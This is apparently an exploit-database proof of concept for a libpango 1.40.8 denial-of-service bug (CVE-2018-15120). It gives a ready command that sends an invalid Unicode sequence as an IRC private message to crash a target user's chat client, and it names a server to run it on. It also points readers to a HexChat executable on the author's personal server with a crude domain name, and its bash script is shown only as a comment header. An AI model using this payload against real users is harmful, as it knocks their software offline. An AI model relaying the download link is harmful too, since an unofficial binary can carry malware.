# Exploit Title: Libpango 1.40.8 - Denial of Service (PoC)
# Date: 2018-08-06
# Exploit Author: Jeffery M
# Vendor Homepage: https://www.pango.org/
# Software Link: http://ftp.gnome.org/pub/GNOME/sources/pango/1.40/pango-1.40.9.tar.xz
# Version: 1.40.8+
# Tested on: Windows 7, Gentoo
# CVE : CVE-2018-15120
# Patch : https://github.com/GNOME/pango/commit/71aaeaf020340412b8d012fe23a556c0420eda5f
# Description:
# Invalid Unicode sequences, such as 0x2665 0xfe0e 0xfe0f, can trick the
# Emoji iter code into returning an empty segment, which then triggers
# an assertion in the itemizer.
# POC:
# Save the below as irc_com_dump; chmod +x irc_com_dump;connect to an
# irc server with something linked against libpango 1.40.8 or higher
# (e.g. hexchat 2.14.1 [ can be obtained on my server
# http://order.a.whore.website/HexChat%202.14.1%20x86.exe ), then run
# the following:
irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'
This is a rudimentary example of how this attack can be used.
#!/bin/bash
# Name: irc_com_dump
# Save this script as irc_com_dump
# run as follows on irc.laks.ml or a server of your choice
# irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'
# When the user receives the message it will trigger the assertion fail.
